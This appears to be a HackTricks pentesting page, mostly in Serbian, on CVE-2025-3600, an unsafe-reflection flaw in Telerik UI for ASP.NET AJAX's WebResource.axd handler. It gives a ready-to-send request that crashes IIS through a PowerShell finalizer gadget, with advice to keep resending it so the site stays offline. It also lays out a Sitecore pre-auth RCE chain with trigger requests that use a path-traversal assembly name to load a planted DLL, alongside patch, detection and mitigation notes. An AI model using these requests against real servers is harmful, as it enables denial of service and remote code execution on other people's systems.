Telerik UI for ASP.NET AJAX – Nesigurna refleksija preko WebResource.axd (type=iec)

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pre‑auth izvršavanje konstruktora u Telerik UI for ASP.NET AJAX Image Editor cache handler omogućava univerzalni DoS i, u mnogim aplikacijama, pre‑auth RCE putem target‑specific gadgets (CVE-2025-3600).

TL;DR

  • Pogođena komponenta/putanja: Telerik.Web.UI.WebResource.axd sa upitom type=iec (Image Editor cache handler). Izloženo pre‑auth u mnogim proizvodima.
  • Primitive: Napadač kontroliše ime tipa (prtype). Handler ga rešava koristeći Type.GetType() i poziva Activator.CreateInstance() pre nego što proveri sigurnost tipa (interface type-safety). Bilo koji javni .NET tip sa konstruktorom bez parametara će se izvršiti.
  • Uticaj:
  • Univerzalni pre‑auth DoS uz .NET framework gadget (PowerShell WSMan finalizer).
  • Često eskalira u pre‑auth RCE u stvarnim implementacijama zloupotrebom app‑specific gadgets, posebno nesigurnih AppDomain.AssemblyResolve handlers.
  • Rešenje: Ažurirajte na Telerik UI for ASP.NET AJAX 2025.1.416+ ili uklonite/zaključajte handler.

Affected versions

  • Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
  • Fixed in 2025.1.416 (released 2025-04-30). Patch immediately or remove/lock down the handler.

Affected surface and quick discovery

  • Provera izloženosti:
  • GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
  • Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
  • Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=.

Example probe and generic trigger:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Notes

  • Neki PoCs koriste dtype; implementacija proverava dkey=="1" za tok preuzimanja.
  • prtype mora biti assembly-qualified ili razrešiv u trenutnom AppDomain.

Root cause – unsafe reflection in ImageEditorCacheHandler

Tok preuzimanja Image Editor cache-a kreira instancu tipa prosleđenog u prtype i tek kasnije je kastuje u ICacheImageProvider i validira ključ za preuzimanje. Konstruktor se već izvršio kada validacija ne uspe.

Relevantan dekompajlirani tok
csharp
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"];           // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}

private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}

public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}

protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}

Eksploataciona primitiva: Kontrolisani string tipa → Type.GetType ga rešava → Activator.CreateInstance pokreće njegov javni konstruktor bez parametara. Čak i ako je zahtev kasnije odbijen, sporedni efekti gadgeta su se već dogodili.

Univerzalni DoS gadget (nisu potrebni specifični gadgeti vezani za aplikaciju)

Klasa: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper u System.Management.Automation (PowerShell) ima finalizer koji poziva Dispose nad neinicijalizovanim handle-om, što prouzrokuje neuhvaćeni izuzetak kada GC finalizuje objekat. Ovo pouzdano ruši IIS worker proces ubrzo nakon instanciranja.

Jednokratni DoS zahtev:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • Nastavljajte periodično slanje zahteva da biste držali sajt offline. Možete primetiti da se constructor pokreće u debuggeru; crash se dešava pri finalization.

Od DoS do RCE – obrasci eskalacije

Unsafe constructor execution otključava mnogo target‑specific gadgets i chains. Potražite:

  1. Parameterless constructors that process attacker input
  • Neki ctors (ili static initializers) odmah čitaju Request query/body/cookies/headers i (de)serialize ih.
  • Primer (Sitecore): a ctor chain dostiže GetLayoutDefinition() koja čita HTTP body "layout" i deserializuje JSON putem JSON.NET.
  1. Constructors that touch files
  • Ctros koji load-uju ili deserialize-ju config/blobs sa diska mogu biti prisiljeni ako možete pisati u te putanje (uploads/temp/data folders).
  1. Constructors performing app-specific ops
  • Resetovanje stanja, uključivanje/isključivanje modula, ili terminiranje procesa.
  1. Constructors/static ctors that register AppDomain event handlers
  • Mnoge aplikacije dodaju AppDomain.CurrentDomain.AssemblyResolve handlere koji grade DLL putanje iz args.Name bez sanitizacije. Ako možete uticati na type resolution možete prisiliti učitavanje proizvoljnih DLL-ova sa putanja koje kontroliše napadač.
  1. Forcing AssemblyResolve via Type.GetType
  • Zatražite nepostojeći tip da biste prisilili CLR resolution i pozvali registrovane (moguće nesigurne) resolvere. Primer assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizeri sa destruktivnim sporednim efektima
  • Neki tipovi brišu fajlove sa fiksne putanje u finalizerima. U kombinaciji sa praćenjem linkova ili predvidivim putanjama ovo može omogućiti lokalno eskaliranje privilegija u određenim okruženjima.

Primer pre‑auth RCE lanca (Sitecore XP)

  • Step 1 – Pre‑auth: Aktivirajte tip čiji static/instance ctor registruje nesiguran AssemblyResolve handler (npr. Sitecore’s FolderControlSource u ControlFactory).
  • Step 2 – Post‑auth: Obezbedite mogućnost upisa u direktorijum koji resolver proverava (npr. putem auth bypass ili weak upload) i postavite zlonamerni DLL.
  • Step 3 – Pre‑auth: Iskoristite CVE‑2025‑3600 sa nepostojećim tipom i traversal‑nabijenim imenom assembly-a da biste naterali resolver da učita vaš postavljeni DLL → izvršavanje koda kao IIS worker.

Primeri okidača

http
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Beleške o validaciji, lovu i DFIR

  • Sigurna validacija u labu: pokrenite DoS payload i pratite app pool recycle/unhandled exception vezan za WSMan finalizer.
  • Pretraga u telemetriji:
  • Zahtevi na /Telerik.Web.UI.WebResource.axd sa type=iec i neobičnim prtype vrednostima.
  • Neuspešna učitavanja tipova i AppDomain.AssemblyResolve događaji.
  • Iznenadni w3wp.exe padovi/recycle-ovi nakon takvih zahteva.

Mitigacija

  • Ažurirajte na Telerik UI for ASP.NET AJAX 2025.1.416 ili noviju verziju.
  • Uklonite ili ograničite izloženost Telerik.Web.UI.WebResource.axd gde je moguće (WAF/rewrites).
  • Ignorišite ili ojačajte server-side obradu prtype (upgrade primenjuje odgovarajuće provere pre instanciranja).
  • Auditujte i ojačajte prilagođene AppDomain.AssemblyResolve handlere. Izbegavajte gradnju putanja iz args.Name bez sanitizacije; preferirajte strong-named loads ili whitelists.
  • Ograničite lokacije za upload/pisanje i sprečite postavljanje DLL-ova u direktorijume koji se proveravaju.
  • Pratite pokušaje učitavanja nepostojećih tipova da biste otkrili zloupotrebu resolver-a.

Brzi sažetak

  • Provera prisustva:
  • GET /Telerik.Web.UI.WebResource.axd
  • Potražite mapiranje handler-a u web.config
  • Exploit skeleton:
http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
http
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Pokreni resolver:
This.Class.Does.Not.Exist, watchTowr

Povezane tehnike

  • IIS post-exploitation, .NET key extraction i in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization i machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks